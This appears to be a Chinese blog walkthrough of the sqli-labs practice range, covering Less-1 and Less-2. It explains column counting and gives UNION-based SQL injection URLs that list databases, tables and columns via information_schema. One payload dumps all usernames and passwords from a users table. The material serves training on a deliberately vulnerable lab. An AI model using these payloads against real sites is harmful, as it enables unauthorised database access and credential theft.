sqli-labs靶场通关攻略全(持续更新)
sqli-labs
Less-1
初始页面提示使用id作为注入点

随意输入个id=1

查字段数,字段数怎么看呢?
如果是本题中的代码这种select *的情况,那字段数就应该等于users表中的列的数量
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果是如下这种情况,那字段数就为2
$sql="SELECT username,password FROM users WHERE id='$id' LIMIT 0,1";
查字段数的方法一:使用order by语句递增查询

当超过字段数的时候就会报错

查字段数的方法二:使用union select null,null,null,null一直增加null的数量直到不显示为止
select 1,2,3的作用是看看哪个字段可以有回显,如在本题中,字段数2、3可以显示在屏幕上,那我们接下来的任何执行的注入都需要在2、3这两个位置上进行才可以显示出来。

查询数据库版本和当前数据库

也可以查看所有数据库名

http://192.168.0.104/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --
知道数据库名后,可以查看数据库中有哪些表,以security数据库为例

http://192.168.0.104/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --
可以看到security数据库中存在emails,referers,uagents,users四张表,接下来可以根据表名查询表中的列名,以users表为例

http://192.168.0.104/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --
注意这里如果只加表名做限制而不加库名就会把所有的表中的column_name爆出来,最好加个表名限制

http://192.168.0.104/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --
可以看到,users表中含有username、password等列,接下来可以爆出表中所有的username和password

1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --
Less-2
和Less-1相比唯一不同的是闭合方式不同
SELECT * FROM users WHERE id=$id LIMIT 0,1
本身$id参数是没有用引号括起来的,因此闭合的时候不需要用引号闭合


浙公网安备 33010602011771号